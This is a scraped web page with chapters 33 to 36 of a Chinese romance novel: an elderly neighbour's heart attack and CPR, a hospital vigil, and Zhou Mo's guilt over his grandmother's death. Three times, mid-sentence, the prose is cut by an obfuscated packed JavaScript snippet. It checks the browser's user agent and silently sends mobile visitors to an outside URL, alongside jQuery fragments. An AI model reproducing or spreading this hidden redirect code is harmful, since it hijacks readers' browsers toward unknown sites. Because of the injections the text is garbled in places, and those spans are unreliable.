迟了了咽了口唾沫，强撑着精神转身往外走，可刚走出厨房，她脚步便倏地一僵。 “嘭！——” 伴随一阵巨响，眼前的一切忽然变了样，车内的世界霎时间天旋地转，整块玻璃破成了无数碎片，仿佛剧烈汹涌的浪头咆哮着向她扑来！ 呃—— 迟了了瞳孔骤然放大，几乎快要窒息。 不行！ 不能这样！ 镇静下来，迟了了你要冷静！ …… 下一秒，脑海中又似乎出现了另一个自己，在不断地呼喊着她的名字，让她赶紧清醒过来！ 对！ 清醒过来！ 张奶奶还等着呢！ 迟了了瞬间又是一个哆嗦，放大的瞳孔霍得一缩，目光恢复清明！ 她猛地摇头，将失控的思绪关回笼子，同时两手攥得更紧，满头虚汗地快步走向客厅放药的柜子。 “来了来了！是这个吗？速效救心丸！”不一会儿，她重新跑进厨房，张开手心里攥着的棕色小瓶子。 周默迅速抬头看了一眼：“对！倒出十到十五颗准备着，等她醒了，如果救护车还没到，就给她服下！” “好！”迟了了立马照做。 做完这些，她又站回一旁，紧紧攥着手里的药瓶和药碗，看着周默给张奶奶做抢救。 正值梅雨季节，空气又黏又湿，再加上平均每秒钟两次的用力按压，这么一会儿工夫，周默的衣服已经湿透，汗水浸透了额际，又顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818861|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着鬓角和鼻梁滴下来。鼻梁上的眼镜也因为剧烈的动作滑下来半截，摇摇欲坠之际，被他偏头一甩，直接撇到一旁地上。 迟了了像是终于找到了事做，赶紧帮他捡起来，看镜片没有摔破又立即收好。 拿出手机看了眼时间，竟然才过了两分钟，救护车不知还要多久才能到，迟了了心急如焚，不好打扰周默，只能先把地上掉落破碎的锅碗瓢盆收拾了。 之后的时间里，她感觉每一分钟都像一年那样长，周默仍一刻不停地给老人做着心肺复苏，仿佛不知疲倦。 迟了了不知自己可以做些什么，只能一次次跑到窗口，看救护车究竟来了没有。 这样的时间，每一秒钟都透着带有阻力的粘稠感，闷得让她喘不过气来，也让救护车走得那样慢…… 终于，不知过了多久，在她怀疑周默都快要脱力的时候，楼下传来了救护车的声音！ 也是在这时，老人发出了一声微弱的呻.吟。 - 医院走廊尽头，导管室的大门紧闭，头顶的灯光那样明亮耀眼，却让人感受不到一丝一毫的温度。 迟了了紧抿着嘴唇靠在墙上，心中焦急不安，又无所适从，只能转头看向旁边座椅尽头，正垂着头一动不动的男人。 她张了张嘴，想喊他一声，和他说几句话，或许那样自己心里能缓解一些。 可迟疑了一下，她又放弃了。 因为，从发现张奶奶在家发生意外开始，周默就变得很不对劲了。 一开始她还没注意到，因为自己也很混乱，又以为他不过是太着急了，可直到刚刚救护车抵达楼下，又将张奶奶接上车准备离开时，迟了了都跟上去了，一回头却见周默仍站在原地愣神，一副魂不守舍的样子。 拽上他一起来医院，从车上到张奶奶进导管室，他也一直低着头不说话。 …… 就在她思前想后之际，周默的手机突然响了。 他先是怔了两秒，而后才回过神来，拿出手机。 是祝赫打来的。 今天虽然不是说好坐班的日子，但因为新品发布近在咫尺，他本来也要去公司一趟。 但因为漏水的事，他昨晚便跟祝赫打招呼，说下午过去，如今到了下午还没去，也难怪祝赫来电话催促。 然而他接起电话，只是沉缓地说了句“临时有点事，今天先不过去了”，便又把手机收了起来。 没有了可以抓住的东西，一双手再度忍不住微微颤抖起来，他只好将两只手紧紧攥在一起，默默消化着内心因这场兵荒马乱而掀起的惊涛骇浪。 …… 又等了一会儿，导管室的门开了。 迟了了赶紧迎上去：“医生，里面病人怎么样了？” 戴眼镜的中年医生看了她一眼，又扫了眼她身后，问：“病人家属还没到吗？” “额，还没，”迟了了说，“我是她邻居，我们很熟的，有什么情况也可以跟我说。” 医生想了想：“也行。病人是急性心梗，因为本身就有高血压高血糖的基础病，目前基本可以判定是属于二者引起的并发症，可能是因为最近天气的原因。 “这种情况发作起来很危险，最快几分钟就能要人命。不过幸好你们发现及时，抢救也做得及时有效，才给我们留出了进行PCI的时间。” 迟了了屏着一口气听完医生的话，到这里总算放下心来。 医生又说：“不过接下来还需要在CCU观察一段时间，另外，针对病人还有一些治疗手段，我们就需要和家属沟通了，所以还请通知病人家属尽快过来。” “好的好的，谢谢医生！辛苦您了！”迟了了连声道谢。 目送医生离开，迟了了感觉悬在她头顶的那块巨石仿佛被移开了，过了会儿她才缓过劲儿来，想起要跟周默分享这个好消息，可一回头却立刻呆立住了。 座椅尽头，周默正双肘撑在膝盖上，双手捂住脸，头深深埋着，看不见是什么表情。 只是看起来，竟像是……哭了。 34. 往事揭晓 看着这样的周默，迟了了一下子又紧张起来，刚想上前问问他怎么了，又听到前方传来一阵急匆匆的脚步声，紧随而来的还有一连串匆忙紧张的询问： “是这儿吗？是这儿吗？” 抬眼看去，走廊那头，一个中年模样的男人正扶着个短发老太太着急忙慌地小跑过来。 老太太边跑还边推搡着身旁的男人：“哎呀我不用你扶，你先去找你姨！” 话音刚落，老太太一扭头就看见了迟了了，焦急的脸上顿时一喜，甩开男人的手就冲迟了了过来，一把上前握住她的： “哎呀，小迟！” 嗓子里强忍了一路的哭腔也随即失守。 迟了了赶紧接住她瞬间失力的身子，和跟来的中年男人一起将她扶起来。 “小张奶奶你别着急，张奶奶已经抢救过来了，刚刚医生已经出来说过了！”迟了了连忙说道。 被唤做“小张奶奶”的老人听见这话立即抽泣起来：“好好，那就好！” 这时，身后大门再次打开，三人回头看去，正见医护人员推着尚在昏迷的张奶奶从里面出来。 小张奶奶一见这情形，一把扑上去就喊：“大姐！大姐！” “麻烦家属先让一下，我们要把病人转移到监护病房。”医护人员说。 迟了了和中年男人连忙把小张奶奶扶到一旁。 而后，三人随着医护人员往CCU走去。 可走了几步，迟了了又回头看向周默，犹豫是否要喊他，但顿了顿，又忍住了，想着待会儿再回来找他好了。 …… CCU外，中年男人，也就是小张奶奶的儿子去办住院手续了，留下迟了了待在原地陪着小张奶奶。 而老人家自己，则正在打电话。 可随着手机搁在耳边的时间越来越久，那张脸上焦急担忧的神色渐渐被怒意所取代。 最后，老人家恨恨挂断电话，冲着玻璃墙内正戴着监测仪的张奶奶忿忿道：“你说你，养个有出息的儿子有什么用，关键时刻半点用处都顶不上！自己妈差点死在家里都找不到他人！” 玻璃墙内的老人自然无法像往常一样帮儿子说话，仍然安静地躺着。 老人家撒完气，看着病床上一动不动的姐姐，突然红了眼。 迟了了看着这一幕，抬手抚了抚她的背。 而两人都没注意到，几米外的拐角处，一言未发的周默听到老人这句话，身子几不可察地晃了晃，然后，转身离开了。 又过了一会儿，小张奶奶擦擦眼角，转手握住迟了了的手，叹道：“小迟啊，今天真要多谢你啊，要不然我姐她——”想到某种可能，老人声音再次哽咽，“我可能都见不到她了……” 迟了了被她说得也是一阵心酸，抽出一只手抱住老人，轻轻拍了拍：“小张奶奶你不要难过了，张奶奶这不是没事嘛！” 她的声音和语调是一贯的清脆欢快，听起来无忧无虑的，仿佛能驱散所有的烦恼和忧愁。 小张奶奶在她这话里也稍稍平静了一些。 “嗯，没事了。”她重重点了下头，像是在附和迟了了的话，又像是在安慰自己。 …… 急诊部大楼里人来人往，周默从电梯里出来，面无表情地穿过来往的人群，直至走出大楼，来到外面，才停下脚步。 六月的梅雨季，天气又阴又闷又潮，人走在户外，如同置身在蒸笼里。迟滞的空气笼罩在刚从冰冷的、弥漫着消毒水味道的楼里出来的周默身上，更将他包裹得严严实实，喘不过气。 周默感觉有一只巨大的手，正死死压在他的肩上。 他仰起头，望着头顶厚厚的乌云，然后闭上了眼，任由这无边无际的潮湿，将自己彻底淹没。 而在思绪逐渐下沉的过程中，这段时间以来被他刻意藏起的那些记忆，终于以不可阻挡之势，再度向他铺天盖地地袭来…… - 傍晚时分，弄堂深处。 一群白色石灰墙面的老房子被夕阳斜照着，仿佛镀上了一层橘红色的新装。 一棵桂花树下，几个五六岁大小的小孩正围作一圈，拍着手唱着歌，玩着丢手绢的游戏。 其中一个男孩子拿着手绢慢悠悠走着，脸上带着恶作剧式的笑，几乎每经过一个小朋友身后都要做个假动作，搞得所有人都惊叫不已，警惕地盯着他。 慢慢地，小男孩的脚步微微加快，从慢走一点点变成快走，然后又变成蹦蹦跳跳的小跑，围成一圈的小朋友们目光也跟着他转，渐渐开始有些晕头转向。 这时，他手里忽地一松，手绢悄无声息地落在其中一个小朋友身后，但他却没有立刻就跑，而是又蹦蹦跳跳跑出去几步，才骤然“啊”地一声哈哈大笑着快跑起来！ 小朋友们霎时乱作一团，纷纷扭头看向自己身后，直到这时，接棒的那个小朋友才看到自己身后的手绢，也“啊”地一下跳起来，抓起手绢就追了出去！ 一时间，原本整齐的歌声被此起彼此的喊声代替，有人加油、有人尖叫、有人欢呼…… 后面的那个小孩腿脚麻利，虽然一开始落后了一大截，但加足马力狂奔，不一会儿竟将两人的距离拉近了许多。而眼看自己要被追上了，之前还胜券在握的小男孩顿时慌不择路，顾不得游戏规则要求的只能绕着圈跑，尖叫着就往旁边的一小片空地上冲过去。 空地上，一个差不多年龄的西瓜头男孩正独自蹲在地上，手里拿着根树枝，心无旁骛地在地上写着什么。而在他面前，一行行一列列的数字和公式整整齐齐铺开一大片，漂亮得像老师的板书一样。 西瓜头男孩沉浸在自己的计算中，口中无声念叨着什么，手下树枝写得飞快。 可就在这时，随着尖叫声越来越近，“啪”地一下，一只小脚正好踩在他刚刚算好的一排数字上，并瞬间将那几个数字捻得模糊一片！ 小男孩毫无察觉，拔腿一溜烟直接从一堆数字上跑过去。 待追逐的两人终于跑远，地上已经只剩下一片狼藉…… 西瓜头小男孩面无表情地看着眼前的一切，过了会儿，小大人般叹了口气。 这时，旁边楼上一扇窗户被推开，一个中年女人从里面探出头来。 她看起来五十来岁的模样，方圆脸，眉眼带笑，还没说话就透出一股爽快劲儿。 女人扫了眼楼下，目光落在正叹气的西瓜头小男孩身上，立刻笑了起来，扬声朝他喊：“小默，吃饭了！” 被唤作“小默”的西瓜头男孩闻声抬起头，淡淡应了声：“来了。” …… 下午五点，夕阳的余晖照进客厅，整个屋子里都弥漫着一股菜香。门外响起钥匙转动的声音，紧接着门被推开，一个身穿蓝白色运动校服、留着碎发、单肩挎着书包的少年走了进来。 少年一进来便唤了声“外婆，我回来了”，然后低头换鞋。 因为正处于变声期，他的声音还带着些不自然的嘶哑。 厨房里随之传来一道爽利的声音：“回来了，先去洗手，马上就能吃饭了啊。” “好。” …… 饭桌前，长得更高大帅气一些的男生一手端碗一手夹菜，吃得狼吞虎咽。 又几年过去，他剪了短发，鼻梁上多了副眼镜，原本乖巧干净的五官渐渐长开，也开始展露出一些锋芒的端倪。 “你爸妈的事，定了，明天去办手续，”已经有些苍老的外婆夹了块红烧肉放进他的碗里，轻轻叹了口气，转而又轻快地笑道，“你也长大了，他们尊重你的想法，跟谁的事儿，你说了算！” “我跟你。”男生想也没想就回答道，有些低沉的声音里，透着无动于衷的淡漠。 “那，跟你妈？”外婆问。 “好。” …… 还是那个弄堂深处的老房子，头发已经花白的外婆正坐着躺椅里摇着蒲扇，在那棵桂花树下小憩。 这时，一个身形挺拔、面容已经有几分大人模样、穿着浅灰色卫衣的帅气男生从楼里跑了出来，蹬蹬蹬几步来到老太太跟前，猛一伸手： “外婆，你看！” 老太太听到声音，迷迷糊糊地睁开眼，眼神还没聚焦就被怼在眼前的铁家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818862|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙给吓了一跳，险些背过身去！ 男生赶紧捞住椅背，老太太这才安稳下来。 朦胧的睡意被这一吓彻底跑了个干净，她气恼地抄过蒲扇就去敲外孙的头：“臭小子，吓我一跳！” 男生自知理亏，抿唇讨好地笑了一下，又将手里的东西送上前去，催促：“外婆，你看看！” 老太太又瞪了他一眼，这才戴起脖子上挂着的老花镜，细细端详起男生手里只有一尺高的机器人。 看了半天，她长长“哦呦”一声，抬头问外孙：“就这么大点儿哦？” 男生兴奋的表情顿时一垮，满脸无语道：“你别小瞧它好吧！”说罢气呼呼地转身就要走。 “哎，”老太太乐了，赶紧伸手拦住他，“怎么都上大学了还是这么不禁逗啊？这么小气就算长得再好看，也是找不着女朋友的哦！” 刚因她上半句话回过头的男生，一听这后半句立马扭头又要走。 “好好好，外婆多嘴，不说了，啊？”老太太赶紧哄他，“你快跟外婆说说，这小家伙有多厉害？” 老太太就爱这样，对于个头小的，不管是人、动物还是什么物件，通通称呼“小家伙”。 而这亲昵的称呼显然哄到了男生，他哼了一声，冷着脸回过身，一言不发地将小机器人放在老太太跟前，然后操作遥控器。 下一秒，就见银灰色的小机器人头顶上那个花生米大的小灯泡亮了起来，随后小机器人突然歪了下头——虽然仍是呆愣愣的样子，却好像已经被唤醒了似的。 它先转身看了一圈，然后又回身面向老太太，仰起“头”，尚未多加装饰的摄像头“眼睛”定在老太太脸上，过了两秒像是想到什么，裸露电线牵扯着的下颌忽地一张，发出一声稚嫩的—— “外婆。” “哦呦！”老太太霍地一惊，震惊地看着眼前这小家伙，“这这这……” 这竟然是外孙小时候的声音，简直一模一样，连他话里带的本地腔调都如出一辙！ 将自己的声音幼态化，这种操作多少让人有点羞耻，男生抿了抿唇，还是一副不动声色的样子：“我把你的面部信息录进去了，它当然认得你。” “哟！”老太太更惊讶了，转头再次看向小机器人。 随即想起什么，她又看向外孙：“你前几天给我录视频就是搞这个小家伙啊！” “嗯哼。” “这就是你跟你那队友，小猪是吧？参加比赛拿金牌的机器人？” “嗯……他叫祝赫，祝福的祝，不是猪。”男生应到一半纠正道。 “嗐差不多差不多！那，这小家伙现在送我了？！” “嗯哼。” “那我可以指定功能吗？” 男生一噎，试探着问了句：“你想要什么功能？” “这个呀，我得想想，”老太太拿蒲扇拍打着膝盖，边思索边说道，“帮我做饭洗衣、扫地捶背，还有讲笑话、逗闷子——” 这分明就是犯懒嘛！ 老太太还要再说，男生赶紧截过她的话：“还要监督你吃药、量血压血糖、不要乱吃东西……” “停停停！”老太太赶紧抬手制止他再说下去，颇为心疼地看了眼小机器人，“这么多事儿，这小家伙能行吗？可别累散架了。” “那我以后给您做个大的，有这些功能的。” “那感情好，外婆就等着了！” 等着了—— 等着了—— 等着—— 了—— 突然间，温馨的画面蓦地被定住，而那声音则像带了回声一样，一遍又一遍地回荡着，一遍比一遍模糊，一遍比一遍遥远…… 而随着声音的远去，眼前明亮的小院也渐渐隐去，取而代之的，是一团黑暗。 黑暗中，耳边似有电话铃声响起，周默下意识地抗拒。 “不要，不要……” “不要接……” 可电话还是通了，一个带着鼻音的女声从黑暗那头传过来： “小默……外婆走了，昨天夜里走的……是，突发心梗。” 35. 自私自利 心口处，一阵突如其来的剧痛将周默从无尽的梦魇中刺醒。 待一点点醒过来，他才发现自己正躺在一个老式沙发里，屋内昏沉沉一片，一盏灯都没亮，而窗外的天色不知何时，也已经完全黑了下去。 他从沙发上坐起来，双脚落地的瞬间，仍能感觉到一种不真实感。 茫然与空虚中，他环顾四周。 黑暗里，有对面楼上朦胧的灯光照进来，为客厅铺上一层雾似的薄光，借着这光，虽然看不真切，但周默无比熟悉地扫视着屋内的每一个角落—— 身下的沙发，是老式木制的，上面垫着两块厚厚的海绵垫，椅背上铺着白色的蕾丝刺绣盖巾，旁边还有个单人沙发，也是同样的配置。 沙发前是张实木茶几，上面盖着一层玻璃。 沙发对面，是台电视机。电视机旁，是个木色的卧室门，门框上有几道小刀划刻的痕迹，每一道刀痕旁，都用铅笔写着x岁、1xx。如果推开门，会看到里面有个四开门的衣柜、一个书柜、一张单人床，靠窗还有张书桌。 回到客厅，沙发的左边是阳台，右边是洗手间和大门，门后是餐桌和厨房，厨房旁边，也就是沙发后面，是另一间卧室…… 这里是周默从小长大的地方。 是外婆的家。 也是他如今不敢回来的地方…… 不知何时，窗外起了风，吹动楼下那棵已经长得很高的桂花树发出哗哗的声响，恍惚间，周默好似又听到了身后那间卧室开门的声音，一贯精神矍铄的老太太从里面麻利地走出来，一边拿鸡毛掸子扫着家具上的灰尘，一边冲对面屋里扬声叮嘱：“小默，今天降温了，去学校多穿点！” 下一秒，老太太又站在电视机旁的门框边，手中拿了一支笔，踮着脚在面前个头已经蹿出老高的少年头顶划上一根线，骄傲又有些埋怨地说：“哎哟，小默已经长得比外婆还高了，外婆踮着脚都看不到你头顶了！” 一眨眼，两人又坐在了餐桌前，少年一边吃饭一边看书，两只眼睛像是粘在了书上，右手全凭本能在往嘴里扒饭。老太太无奈地撇了撇嘴，紧接着眼睛一转，露出一抹坏笑，正要夹菜的筷子在半道拐了个弯，夹起一根红辣椒放进了少年碗里。 少年不疑有他，仍心不在焉地吃着，于是，没过两秒他便剧烈咳嗽起来，一张脸也涨得通红，赶紧吐掉已经嚼了一半的辣椒，手上的书也扔了，捞起一旁的冷水壶就咕嘟嘟灌了半壶！ 而对面的老太太看着他这狼狈样，早已笑得前俯后仰…… 又一转眼，老太太站在门口，正给已经长成大人的男人送行，男人拎着行李箱，对着老太太迟疑了好几回，最终只说出一句：“您好好照顾自己。” 老太太乐呵呵地拍拍他的肩：“得了，我还用你操心，你在外面好好干！外婆等着你给我造个机器人回来呢！” 回忆到这里戛然而止，周默终于再也忍不住，将头深深埋进了手里。 隐隐的呜咽声在朦胧的黑暗中断断续续响起，不时还夹杂着几句： “对不起……对不起……” 窗外，风声与树声呼呼作响，正酝酿着下一场滂沱大雨…… - 从老房子回来，已是深夜了。 周默乘着电梯回到8楼，又呆立了片刻，才拖着沉重的步子慢吞吞地从电梯里出来。 可刚一转身，他就和门口同样回过身来的人撞了个照面。 迟了了一回头，看到身后乍然出现的人影，不由也吓了一跳。 等认出是他后，前一秒还大惊失色的脸上瞬间又浮现灿烂的笑：“周默，你终于回来啦！” 两人一个面朝廊灯，一个背对光亮，一个喜出望外，一个黯然颓丧，一明一暗，一喜一忧，对比鲜明得，像是一株刚在太阳下吸饱了阳光的向日葵，转头照向了阴暗潮湿的角落里，久已无人问津的废墟。 …… “啪”地一下，客厅的灯被打开。 耀眼的光亮刺得周默眼睛一疼，立刻偏头避了一下，等缓了缓，才抬步继续往里走。 迟了了站在门口，见他没说让自己进来，但也不像要将自己拒之门外的样子，犹豫了一下，试探着推开门，迈进一只脚。 周默果然没说什么。 她这才放心地迈进另一只脚，在门口脱了鞋子，只穿着一双袜子噼里啪啦地跟过去。 “周默，你今天下午去哪了？”因为还不太清楚情况，迟了了这话尽量问得随意，好像只是闲聊一样。 陪小张奶奶一起回监护室后，她又安抚了老人家一会儿，直到小张奶奶的儿子办完手续回去，她再不敢再耽搁，赶紧转身去找周默。 可等回到导管室外面却发现，那排塑料座椅上，早已没了人影…… 如果说之前她还怀疑是不是自己多心了，那么在看到周默听到张奶奶脱离生命危险的消息后的反应，还有他竟然不等自己，一个人悄悄走了的行为，她已经可以确认，周默就是不对劲了。 医院里找不到他，打电话没人接，发消息没人回，迟了了又马上赶回来，来801敲门。 可801也没人。 这下迟了了知道，事情怕是比她想得还要严重…… 实在不放心，但又怎么也联系不上，从下午回来到晚上的这大半天里，她每隔半个钟头就下来看看。 然而周默听到她的话却没有回答，径自往厨房走去。 迟了了眨眨眼，跟屁虫一样跟过去。 来到厨房，周默拿过一只杯子，倒了杯温水递给她。 “哦，谢谢！”迟了了双手接过，继续盯着他。 周默动了动唇，终于开口。 “老人家，没事了吧？”他问，声音轻飘飘的。 “哦，没什么事了，”迟了了立刻摇摇头，“之后就要小张奶奶他们跟医生商量后续治疗了。” 周默“嗯”了一声。 “对了，你今天好厉害呀！医生说幸亏你急救措施做得及时到位，张奶奶才没有大碍！你学过这个吗？”迟了了有意用个轻松点的话题开场。 周默目眼神一晃：“……之前了解过。” “哦——难怪！” 周默沉默了会儿，又问：“她，平时都是一个人住吗？” “嗯？”迟了了一下子没反应过来，随即恍然，“张奶奶吗？对呀，一个人住。” “没有……丈夫，或者子女吗？” “嗯——”迟了了想了想，“张奶奶老伴儿早几年就去世了，她有个儿子，不过出国留学之后，就留在国外工作了，现在在那边结婚生子，算是定居了吧，很少回来。” 心中猜测得以证实，周默只觉得如坠冰窟：“那，就留她一个人在国内吗？她儿子，不管她吗？” 迟了了努努鼻子：“这种事情，很麻烦的，手续上倒还好，关键是人。” “人？” “对呀。我确切知道的，是前年张奶奶儿子确实把她接过去过，但没过多久张奶奶又回来了。” “为什么？”周默睫毛一颤。 迟了了摇头：“具体原因就不知道了，问张奶奶她也不乐意说，偶尔跟邻居们讲起来，要么说她吃不惯国外的饭菜，要么说那边的人都不认识，不如这边老邻居老朋友都在，要么……” “怎么？” “要么，是儿子一家和她生活习惯不同，一起住不开心？”迟了了耸耸肩，“不过这点他没明说，我猜的。” 张奶奶一个人在家，经常自己捣鼓些好吃的打发时间，也经常会给迟了了送去。有一次做了个野菜饼，得知迟了了非常喜欢，不经意间提过一句：“钟航小时候可爱吃我做的这个了，不过现在不喜欢了，我还以为是我厨艺退步了呢。” 迟了了知道，“钟航”就是张奶奶儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818863|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的名字。 也有时候，迟了了会在楼下撞见她和带娃的年轻妈妈聊天，说起带孩子的一些烦恼，言语间有时深以为然，有时又极力劝阻。而当说起小孩上补习班的事，更会摇头叹气，说现在家长疯了一样，对自己孩子一点也不心疼，跟她那儿媳妇一样…… 等等等等，诸如此类。 周默听了这话，再回想在医院听到的那位“小张奶奶”的话，便明白了大半。 “确实，”他轻扯唇角，声音虽浅，却字字清晰，“还真是自私。”说完又冷呵一声。 “啊？”迟了了正想喝一口水，闻言一个激灵，抬头看向他，不明白他是怎么得出这么个结论的？ “自己在国外生活，把有基础病的母亲一个人丢在国内不管不问，这难道不是自私，不是忘恩负义？”周默冷笑反问。 迟了了错愕地看着他，恍然发现那双眼睛里，透着股和平时截然不同的冰冷。 “不对不对，”她连忙反驳道，“不能这么说的！张奶奶儿子经常给她打电话的，一打就是半个多小时，我有时候都能听到！” “而且他还给张奶奶寄了很多东西，还买各种生活用品、营养品，还叮嘱张奶奶吃药，定期去医院检查，他还给张奶奶请过保姆，只是张奶奶不习惯，就辞掉了！” “可他还是把她一个人留在国内，自己和老婆孩子在国外潇洒。”周默说。 这话说得实在不客气，迟了了揣摩着他的神色，莫名的，总觉得他不像是在说张奶奶儿子，或者不只在说他，更像是在指桑骂槐，借题说着别的什么人。 “可是，”她鼓了鼓脸颊，还是否定了他的话，“他也有自己的人生呀。” 见周默有些讶异地看过来，迟了了有那么一瞬间的气短，但转而又清清嗓子，挺起胸膛理直气壮道：“我知道，很多人都有一种观念，叫做‘养儿防老’嘛，没错，赡养老人确实是子女的责任和义务，但是换个角度想，‘养儿防老’这种观念，难道不是在把孩子当成养老工具吗？” 在她看来，张奶奶和儿子一家或许确实存在着大大小小的矛盾，张奶奶也确实在本该享受天伦之乐的年龄独自一个人在国内生活，可这又怎能一概而论为谁对谁错呢？ 只是每个人生于不同的年代、长于不同的社会环境，又有着不同的人生阅历，小到衣食起居，大到为人处世，便总少不了分歧。 “这些分歧，别说是两辈人，就是同辈人之间也会存在呀！而且子女也有自己的理想和抱负，如果随随便便就用‘自私’或者‘忘恩负义’来给子女下判决，我觉得是不合适的，难道非要把孩子绑在身边给自己养老，才算是好孩子吗？” “孩子小的时候，父母希望孩子成才，父母老了，又希望孩子守在自己身边，这难道不矛盾吗？” 迟了了一口气说完，皱着眉头，直直盯着周默。 周默也看着她，久久没有说话。 而迟了了不知道的是，此时此刻，他的心里早已经天翻地覆。 这些话像一场来势汹汹的地震，剧烈的震颤在他身体里掀起了滔天巨浪，一下又一下，毫不留情地撞击在耸立的礁石上，也猛烈拍打着他的心腑。 轰隆隆的声音响彻天地，直冲百骸，震得他耳膜一阵阵轰鸣，整个人都为之失神。 迟了了渐渐被他看得有些心虚，抬手挠了挠额角的头发，想借此挡住他的目光。俄而透过指缝看过去，见他还看着自己又有些后悔： 完了，刚刚把他今天不对劲这事儿给忘了，看他现在这反应，自己该不会一不小心戳着人伤疤了吧？ 那个…… “啊哈——好困啊！时间好晚了吧，今天起得早，我得回去睡了。” 她掩唇打了个哈欠，放下杯子就想溜。 周默没有出言挽留，就这么看着她蹑手蹑脚地跑到门口，然后穿鞋、开门，咻一下闪了出去。 36. 助纣为虐 夜色已经很深，但周默仍没有一丝睡意。 已经好转了许多的失眠，在今天接二连三的冲击中再次卷土重来。迟了了走后，他不知又在原地站了多久，等回过神来，再看时间，已经半夜一点多了。 他想起自己应该要去洗漱了，于是行尸走肉般命令自己去洗手间。 洗漱完，他躺到床上，床头灯关着，但窗帘拉开着。 他就这么睁眼望着窗外黑漆漆的夜空，脑子里一遍遍过的，是很久之前，那些隐隐传入耳中的话： “唉，姚老师养了他这么多年，到头来他自己学成了，跑去国外待着，姚老师在家发病，都没人知道。” “我早就劝他回国发展，可他说国外有研究，暂时回不来，你看现在——唉！” “养儿防老养儿防老，这女儿女儿不行，一手带大的外孙也靠不住啊！” “真是不孝……” “让人心寒呀！” …… 然而，就在他即将被这些指责淹没的时候，迟了了的声音突然也传了过来： “他也有自己的人生呀！” “换个角度想，‘养儿防老’这种观念，难道不是在把孩子当成养老工具吗？” “难道非要把孩子绑在身边给自己养老，才算是好孩子吗？” 这两种声音在他的脑子里，像是在进行一场拉锯战，一方拿着嫌恶谴责的口吻，字字句句，仿佛要将他钉在罪恶的耻辱柱上；另一方则正义凛然，理直气壮地反驳着所有的指控，却看也没看他一眼。 周默就站在中间，茫然四顾。 他已经分不清到底哪一种是真，哪一种是假？谁说的是对，谁说的又是错……求生的本能让他想向迟了了那边靠近，可另一边的声音又像是沼泽里伸出的罪恶之手，紧紧攥着他的脚踝，让他寸步难行，步步深陷。 他想要摆脱，可挣扎了几下之后又忽然放弃，就这样，一动不动地，任由黑暗将自己一点点吞噬。 然而就在他即将被彻底吞没时，床头的手机突然“叮”地响了一下。 刹那间，一切仿佛被按下了静音键。嘈杂的争吵骤然停息，如同暗夜中跃跃欲试的鬼魅被天外的一道神谕镇压，又如起伏不定的波涛被一只大手强行按下。一切的一切，都在瞬息之间偃旗息鼓……周遭安静得，只剩一片死寂。 已经大汗淋漓的周默过了好一会儿才反应过来，怔怔抬头，看向头顶。 而与此同时，已经亮了有一会儿的手机在坚持到最后一秒后，瞬间暗下。 像是救命的火苗突然熄灭，周默猛地惊醒，赶紧捞过手机，重新解锁！ 刺眼的光亮中，迟了了的专属卡通映入眼帘。 她发来了一条语音。 周默毫不迟疑地点进去！ 这一刻，他不在乎她要说什么，只要能将自己从那令人近乎疯魔的梦魇中拉出来，他都愿意听。 白色的语音条旁，一个红点赫然在目。 他长按语音条，在跳出的选项中选择“扬声器播放”，紧接着，红点消失，语音开始播放。 周默舔了下嘴唇，屏住呼吸。 一开始，是长达好几秒钟的沉默，然后迟了了压低放轻的声音才传了出来。 一贯轻快雀跃的声色，即便是刻意控制，在这伸手不见五指的黑夜中也透着让人难以忽视的无忧无虑。 “周默，”她轻轻地说，“你睡着了吗？” 问完这句话，声音又停了。 周默几乎以为这条语音就这么长，可低头一看，整条消息足有三十几秒。 于是他继续听着。 果然，没过一会儿，迟了了的声音再度响起： “那个，你今天，不对，你昨天是不是有什么事情不开心啊？要不，你说给我听听？先声明啊，我不是要打听你的隐私，真的！毕竟我现在也好困了，说不定你说着说着我就睡着了，听不到了呢！只不过……根据我对心理学的研究，倾诉其实是一种非常有效的心情疗愈方式，只要你把话说出来，就算没人听，也能起到一定效果！” 最后，像是怕他不信，她又加重语气重复了一句：“真的！” 语音播到这里，才算完全结束。 周默垂眸，怔怔地看着那已经静止不动的语音条。 不知过了多久，他突然笑了一下。 按下语音键，他凑近手机，实事求是：“你研究的，不是儿童心理吗？” 怎么还懂成人心理治疗。 消息刚发出去，不到半分钟，对面一通语音电话就打来了。 周默有些猝不及防，顿了顿，才按下接听键。 刚一接通，还没开口，那边迟了了恼羞成怒的声音就传了过来：“一门通，门门通！不行啊？！” 周默一愣，旋即失笑。 而此时的楼上，迟了了盘腿坐在床上，正一手揪着怀里的大白鹅抱枕，一手拿着手机。兴冲冲炸毛的架势，哪里有一丁点“好困”的样子？ 